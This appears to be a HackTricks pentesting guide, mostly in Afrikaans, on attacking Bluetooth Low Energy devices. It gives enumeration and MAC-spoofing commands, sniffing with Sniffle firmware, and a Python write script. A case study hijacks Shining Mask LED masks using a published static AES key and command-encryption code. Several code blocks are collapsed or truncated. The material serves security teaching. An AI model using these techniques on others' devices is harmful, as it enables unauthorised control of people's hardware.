Pentesting BLE - Bluetooth Low Energy
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Inleiding
Beskikbaar sedert die Bluetooth 4.0-spesifikasie, gebruik BLE net 40 kanale, wat die reeks 2400 tot 2483.5 MHz dek. In teenstelling gebruik tradisionele Bluetooth 79 kanale in daardie selfde reeks.
BLE-toestelle kommunikeer deur advertising packets (beacons) te stuur; hierdie pakkette stuur die BLE-toestel se bestaan uit na ander nabygeleë toestelle. Hierdie beacons stuur soms ook data.
Die luistertoestel, ook ’n central device genoem, kan op ’n advertising packet reageer met ’n SCAN request wat spesifiek aan die advertising device gestuur word. Die response op daardie scan gebruik dieselfde struktuur as die advertising-pakket met bykomende inligting wat nie op die aanvanklike advertising request gepas het nie, soos die volledige toestelnaam.
.png)
Die preamble-byte sinkroniseer die frekwensie, terwyl die vier-byte access address ’n connection identifier is, wat gebruik word in scenario’s waar verskeie toestelle probeer om verbindings op dieselfde kanale te vestig. Daarna bevat die Protocol Data Unit (PDU) die advertising data. Daar is verskeie soorte PDU; die mees algemeen gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die ADV_NONCONN_IND PDU-tipe as hulle don’t accept connections, en stuur slegs data in die advertising-pakket. Toestelle gebruik ADV_IND as hulle allow connections en stop sending advertising pakkette sodra ’n connection gevestig is.
GATT
Die Generic Attribute Profile (GATT) definieer hoe die device should format and transfer data. Wanneer jy ’n BLE-toestel se attack surface analiseer, sal jy dikwels jou aandag op die GATT (of GATTs) fokus, omdat dit is hoe device functionality gets triggered en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys ’n toestel se characteristics, descriptors, en services in ’n tabel as óf 16- of 32-bis waardes. ’n characteristic is ’n data waarde wat tussen die central device en peripheral sent word. Hierdie characteristics kan descriptors hê wat provide additional information about them. Characteristics word dikwels grouped in services as hulle verwant is aan die uitvoering van ’n bepaalde aksie.
Enumerasie
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool maak dit moontlik om ’n verbinding met ’n ander toestel te vestig, deur daardie toestel se kenmerke op te som, en sy eienskappe te lees en te skryf.
GATTTool kan ’n interaktiewe shell met die -I opsie begin:
GATTTool interaktiewe gebruik en voorbeelde
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing en aktief beheer van nie-gekoppelde BLE-toestelle
Baie laekoste BLE-perifere dwing nie pairing/bonding af. Sonder bonding word die Link Layer-enkripsie nooit aangeskakel nie, so ATT/GATT-verkeer is in cleartext. ’n Off-path sniffer kan die verbinding volg, GATT-operasies dekodeer om karakteristieke handles en waardes te leer, en enige nabygeleë host kan dan koppel en daardie schrijwe herhaal om die toestel te beheer.
Sniffing met Sniffle (CC26x2/CC1352)
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
Installeer Sniffle en sy Wireshark extcap op Linux:
Installeer Sniffle extcap (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Flash Sonoff met Sniffle firmware (verseker dat jou seriële toestel ooreenstem, bv. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Vang op in Wireshark via die Sniffle extcap en pivot vinnig na staatveranderende skryfoperasies deur te filter:
_ws.col.info contains "Sent Write Command"
Dit beklemtoon ATT Write Commands vanaf die client; die handle en value stem dikwels direk ooreen met toestelaksies (e.g., write 0x01 na ’n buzzer/alert characteristic, 0x00 om te stop).
Sniffle CLI vinnige voorbeelde:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternatiewe sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin werk ook. Op klein/goedkoop Nordic dongles oorskryf jy tipies die USB bootloader om die sniffer-firmware te laai, so jy hou of ’n toegewyde sniffer-dongle of het ’n J-Link/JTAG nodig om die bootloader later te herstel.
Aktiewe beheer via GATT
Sodra jy ’n skryfbare characteristic handle en waarde uit die afgesnuffelde verkeer geïdentifiseer het, koppel as enige central en voer dieselfde write uit:
-
Met Nordic nRF Connect for Desktop (BLE app):
-
Kies die nRF52/nRF52840 dongle, scan en koppel aan die teiken.
-
Blaai deur die GATT-databasis, lokaliseer die teiken-characteristic (het dikwels ’n gebruikersvriendelike naam, bv. Alert Level).
-
Voer ’n Write uit met die afgesnuffelde bytes (bv. 01 om te aktiveer, 00 om te stop).
-
Outomatiseer op Windows met ’n Nordic dongle deur Python + blatann te gebruik:
Python blatann Write-voorbeeld (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Gevallestudie: kaap van BLE LED-maskers (Shining Mask-familie)
Goedkoop, wit‑etiket BLE LED-maskers wat deur die “Shining Mask” app beheer word, aanvaar write control van enige nabygeleë central sonder pairing/bonding. Die app praat GATT met 'n command characteristic en 'n data characteristic; commands is AES‑ECB-versleuteld met 'n statiese sleutel hard‑gekodeer in die app, terwyl bulk image data onversleuteld is.
Belangrike UUIDs op hierdie toestelle:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Unautentiseerde GATT writes
- Geen pairing/bonding vereis nie. Enige host kan koppel en write na die command UUID om brightness te verander, beelde te kies, animations te begin, ens.
- Algemene ops waargeneem: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Statiese-sleutel AES command framing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Bekende statiese sleutel (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper om 'n opdrag te enkripteer en te stuur (voorbeeld: stel maksimum brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Beeldoplaaivloei
- Na ’n encrypted DATS handshake word raw chunks onvergesleuteld na die data characteristic …960a geskryf.
- Packet format: [len][seq][payload]. Empiries werk ~100 bytes payload per packet betroubaar.
Minimale beeldoplaai pseudo-code
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
## Operasionele aantekeninge
- Gebruik Sonoff+Sniffle op Linux vir robuuste channel hopping en connection following. Hou 'n ekstra Nordic sniffer as rugsteun.
- Sonder pairing/bonding kan enige nabygeleë aanvaller writes observe en hul eie writes replay/craft na unauthenticated writable characteristics.
## Verwysings
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks

